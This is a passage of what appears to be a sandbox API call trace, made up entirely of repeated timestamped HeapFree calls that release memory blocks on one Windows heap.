	[0178.868] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0178.874] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0178.877] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0178.878] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0178.878] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0178.879] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0179.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0179.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0179.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0179.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0179.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0179.100] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0179.100] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0179.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.102] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0179.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0179.160] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0179.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.600] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0179.724] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0179.740] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0179.756] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0179.756] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.756] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.766] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0179.767] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0179.767] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.767] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0179.778] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0179.813] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.817] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.827] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.852] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.852] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.856] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.857] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.857] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0179.858] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.036] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.036] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.036] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.039] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.039] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.041] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.043] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.043] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0180.043] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.043] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.045] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.045] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0180.045] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.046] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.051] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.052] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0180.053] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0180.053] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.057] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0180.057] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.057] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.058] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.065] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.065] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.073] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.215] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.215] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.215] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.217] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.217] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.218] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0180.218] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0180.218] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.218] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.218] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.348] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.349] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.349] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0180.350] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.350] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.451] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0180.451] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.453] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.453] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.453] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.453] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.453] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.454] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.454] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.456] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.456] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.457] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.457] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.458] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.458] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.458] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.458] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0180.912] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.916] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.919] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.919] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.921] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.921] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.921] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.921] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0180.922] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.922] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.922] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.948] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0180.948] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0180.948] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0180.949] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0180.949] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.949] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.949] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0180.949] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0180.949] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.949] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.950] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0180.950] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0180.950] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.950] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0180.950] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0180.950] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.950] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.950] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0180.952] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0180.952] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0180.952] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0180.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0180.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0180.961] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0180.962] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0180.964] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.965] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.965] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0180.972] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0180.972] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0180.981] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0180.981] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.017] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.127] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.128] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.128] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.128] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.130] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.131] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.133] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.133] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.135] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.136] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.136] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.136] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.136] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.137] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0181.137] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x39f0740 | out: hHeap=0x5a0000) returned 1
	[0181.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0181.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0181.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0181.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0181.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0181.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.316] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.352] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.352] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.380] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.380] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.380] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.385] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.388] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.388] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.391] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0181.391] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0181.391] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.391] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.394] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.394] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.394] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.400] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.407] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.410] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.410] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.410] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.411] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.576] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0181.576] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0181.671] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
